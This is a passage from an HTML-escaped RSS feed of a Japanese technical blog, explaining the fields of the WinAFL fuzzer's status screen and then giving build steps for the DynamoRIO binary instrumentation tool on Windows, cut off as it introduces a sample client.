6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;WinAFLステータス画面&lt;/h2&gt;
&lt;hr&gt;
&lt;h3 id=&quot;u1-process-timingu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u1-process-timingu&quot; aria-label=&quot;u1 process timingu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(1) process timing&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;Fuzzingを始めてからの経過時間と、最後に新しいpath, crach, hangを発見してからの経過時間が表示されています。&lt;/p&gt;
&lt;p&gt;ほとんどのFuzzing jobは数日～数週間かかることが予測されます。&lt;/p&gt;
&lt;p&gt;Fuzzingを始めてから数分経過しても新しいpathが見つからない場合には、下記&lt;strong&gt;3つの原因&lt;/strong&gt;が考えられます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ターゲットバイナリが正しく呼び出されておらず、インプットファイルがパースされていない&lt;/li&gt;
&lt;li&gt;デフォルトのメモリ制限(-m)が厳しすぎ、メモリの割り当てに失敗後すぐにプログラムが終了している&lt;/li&gt;
&lt;li&gt;インプットファイルが明らかに不正なフォーマットであり、基本的なヘッダチェックの時点で全て失敗している&lt;/li&gt;
&lt;/ol&gt;
&lt;br&gt;
&lt;h3 id=&quot;u2-overall-resultsu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u2-overall-resultsu&quot; aria-label=&quot;u2 overall resultsu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(2) Overall results&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;cycles done&lt;/strong&gt;は、一連のテストケース群であるサイクルが完了した回数を意味します。&lt;/p&gt;
&lt;p&gt;Ctrl+Cでファジングを終了するまでには、最低1サイクルが完了するのを待つことが望ましいです。さらに言えば、新しいpath, crash, hangが見つからなくなるまで継続できるとよいです。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u3-cycle-progressu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u3-cycle-progressu&quot; aria-label=&quot;u3 cycle progressu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(3) Cycle progress&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;now processing&lt;/strong&gt;は、処理中のテストケースIDと進捗を意味します。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u4-map-coverageu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u4-map-coverageu&quot; aria-label=&quot;u4 map coverageu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(4) Map coverage&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;map density&lt;/strong&gt;は、カバレッジを意味します。左側は現在のテストケースにおけるカバレッジ、右側はテストケース全体のカバレッジを示しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;count coverage&lt;/strong&gt;が200以下の場合には以下の3つの可能性が考えられます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;プログラムが極端にシンプル&lt;/li&gt;
&lt;li&gt;適切にDBIが機能していない&lt;/li&gt;
&lt;li&gt;早期にターゲットの実行が終了してしまう&lt;/li&gt;
&lt;/ol&gt;
&lt;br&gt;
&lt;h3 id=&quot;u5-stage-progressu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u5-stage-progressu&quot; aria-label=&quot;u5 stage progressu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(5) Stage progress&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;現在WinAFLが行っている動作をステージという表現で示しています。ステージには以下の9種類が存在します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ステージ&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;calibration&lt;/td&gt;
&lt;td&gt;Fuzzing実行前に、実行パスを調べて以上を検知したり実行速度ベースラインを確立したりします。新しい発見(?)のたびに短時間で実行されます。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;trim L/S&lt;/td&gt;
&lt;td&gt;Fuzzing実行前に、同じ実行パスを生成する最も短い状態になるようテストケースが調整される。（LはLength、SはStepover）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bitflip L/S&lt;/td&gt;
&lt;td&gt;ビット反転。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;arith L/8&lt;/td&gt;
&lt;td&gt;加算または減算。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;interest L/8&lt;/td&gt;
&lt;td&gt;値の上書き。既知のinterestingな値のリストを用います。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;extras&lt;/td&gt;
&lt;td&gt;辞書からの単語注入。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;havoc&lt;/td&gt;
&lt;td&gt;上記2～6のテクニックが固定長で積み重ねられた状態。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;splice&lt;/td&gt;
&lt;td&gt;任意の中間点で2つのキューつなぎ合わせるということを除いてhavocと同じ。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;sync&lt;/td&gt;
&lt;td&gt;別のFuzzerからテストケースをインポート。-Mまたは-Sオプションで並列Fuzzingを実行するときのみ使われる。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;br&gt;
&lt;p&gt;各ステージ間の処理の流れは別の方のブログ記事 &lt;a href=&quot;http://mmi.hatenablog.com/entry/2019/05/15/183807&quot;&gt;American Fuzzy Lop (AFL)の構造&lt;/a&gt; に分かりやすくまとめてありました。&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;&lt;strong&gt;exec speed&lt;/strong&gt;は500 exec/sec以上が理想的です。もし100 exec/sec以下になってしまう場合にはAFLの&lt;a href=&quot;https://afl-1.readthedocs.io/en/latest/tips.html#performance-tips&quot;&gt;Performance Tips&lt;/a&gt;を参考にしてください。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u6-findings-in-depthu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u6-findings-in-depthu&quot; aria-label=&quot;u6 findings in depthu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(6) Findings in depth&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Favored paths&lt;/strong&gt;は、Fuzzerが最も好むパスの数を意味します。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u7-fuzzing-strategy-yieldsu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u7-fuzzing-strategy-yieldsu&quot; aria-label=&quot;u7 fuzzing strategy yieldsu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(7) Fuzzing strategy yields&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;Stage progressで説明したFuzzing戦略毎に発見した実行パスを表示します。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u8-path-geometryu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u8-path-geometryu&quot; aria-label=&quot;u8 path geometryu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(8) Path geometry&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;stability&lt;/strong&gt;は、同じインプットに対して毎回同じ振る舞いをした場合に100%となる。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u9-cpu-loadu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u9-cpu-loadu&quot; aria-label=&quot;u9 cpu loadu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;(9) CPU load&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;論理コアの数と実行可能状態にあるプロセス数との比較で算出される見かけ上のCPU使用率。&lt;/p&gt;
&lt;br&gt;</content:encoded></item><item><title><![CDATA[DynamoRIOで始めるDBI]]></title><description><![CDATA[WinAFLにてFuzzingを行う際にCoverageを確認する為に、DBIツールであるDynamoRIOをビルドして実際に使ってみました。]]></description><link>https://binarygenes.com/posts/2020-04-07-dbi-with-dynamorio</link><guid isPermaLink="false">https://binarygenes.com/posts/2020-04-07-dbi-with-dynamorio</guid><pubDate>Wed, 08 Apr 2020 12:26:17 GMT</pubDate><content:encoded>&lt;h2 id=&quot;dynamorioとは&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#dynamorio%E3%81%A8%E3%81%AF&quot; aria-label=&quot;dynamorioとは permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;DynamoRIOとは&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;DynamoRIOは、Dynamic Binary Instrumentation (DBI)ツールの1つです。DBIとは実行中のプログラムに対して任意の部分でのコード変換/挿入を行い、バイナリの挙動を分析する為の手法です。
DynamoRIO APIは、バイナリの動的分析をサポートするインターフェースを提供しています。&lt;/p&gt;
&lt;p&gt;今回は、&lt;a href=&quot;https://github.com/googleprojectzero/winafl&quot;&gt;WinAFL&lt;/a&gt;にてFuzzingを行う際のCoverageを確認するためにDynamoRIOをソースからビルドしていきます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200407_dynamorio/dynamorio_logo.png&quot; alt=&quot;DynamoRIOのロゴ&quot; title=&quot;DynamoRIOのロゴ&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;dynamorioビルド手順&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#dynamorio%E3%83%93%E3%83%AB%E3%83%89%E6%89%8B%E9%A0%86&quot; aria-label=&quot;dynamorioビルド手順 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;DynamoRIOビルド手順&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;DynamoRIOのレポジトリ上にある&lt;a href=&quot;https://github.com/DynamoRIO/dynamorio/wiki/How-To-Build#windows&quot;&gt;How To Build&lt;/a&gt;に記載された以下のソフトウェアをインストールします。&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Visual Studio 2017. Other versions are not officially supported as our automated tests use VS 2017.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://cmake.org/cmake/resources/software.html&quot;&gt;CMake&lt;/a&gt;. 3.7+ is required. When prompted, we recommend adding it to your PATH.&lt;/li&gt;
&lt;li&gt;Git. Any flavor should do, including&lt;a href=&quot;https://git-scm.com/download/win&quot;&gt;Git on Windows&lt;/a&gt;or Cygwin git.&lt;/li&gt;
&lt;li&gt;Perl. We recommend either&lt;a href=&quot;http://strawberryperl.com/&quot;&gt;Strawberry Perl&lt;/a&gt;or Cygwin perl.&lt;/li&gt;
&lt;li&gt;(optional) Cygwin. Only needed for building documentation. Select the doxygen package if you do install it. (You can also select Cygwin’s perl and git as alternatives to the links above.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;上記のソフトウェアがインストール出来たら、32-bit DynamoRIOをビルドしていきます。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u32-bit-dynamoriou&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u32-bit-dynamoriou&quot; aria-label=&quot;u32 bit dynamoriou permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;32-bit DynamoRIO&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;スタートメニュー &gt; すべてのアプリケーション &gt; Visual Studio 2017 &gt; x86 Native Tools Command Promptを開きます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200407_dynamorio/x86_native_tools.png&quot; alt=&quot;x86 Native Tools Command Prompt画面&quot; title=&quot;x86 Native Tools Command Prompt画面&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;x86 Native Tools Command Prompt上で以下のコマンドを実行します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;DynamoRIOビルドコマンド&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-bash line-numbers&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; clone https://github.com/DynamoRIO/dynamorio.git
$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; dynamorio &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; build32 &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; build32
$ cmake -G&lt;span class=&quot;token string&quot;&gt;&quot;Visual Studio 15&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;
$ cmake &lt;span class=&quot;token parameter variable&quot;&gt;--build&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--config&lt;/span&gt; RelWithDebInfo
$ bin32&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;drrun.exe notepad.exe&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;最後のコマンド実行によりnotepad.exeが起動すればDynamoRIOが問題なくビルドできていることが分かります。&lt;/p&gt;
&lt;p&gt;続いて64-bit DynamoRIOをビルドします。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u64-bit-dynamoriou&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u64-bit-dynamoriou&quot; aria-label=&quot;u64 bit dynamoriou permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;64-bit DynamoRIO&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;スタートメニュー &gt; すべてのアプリケーション &gt; Visual Studio 2017 &gt; x64 Native Tools Command Promptを開きます。&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;x64 Native Tools Command Prompt上で以下のコマンドを実行します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;DynamoRIOビルドコマンド&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-bash line-numbers&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; C:&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;dynamorio &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; build64 &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; build64
$ cmake -G&lt;span class=&quot;token string&quot;&gt;&quot;Visual Studio 15 Win64&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;
$ cmake &lt;span class=&quot;token parameter variable&quot;&gt;--build&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--config&lt;/span&gt; RelWithDebInfo
$ bin64&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;drrun.exe notepad.exe&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;32-bitビルドと同様、最後のコマンド実行によりnotepad.exeが起動すればDynamoRIOが問題なくビルドできていることが分かります。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;お試し&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#%E3%81%8A%E8%A9%A6%E3%81%97&quot; aria-label=&quot;お試し permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;お試し&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;DynamoRIOにはAPIを利用するサンプルプログラムが複数用意されています。&lt;/p&gt;
&lt;p&gt;ここでは、その一つであるcountcalls.dllを使ってみたいと思います。&lt;/p&gt;
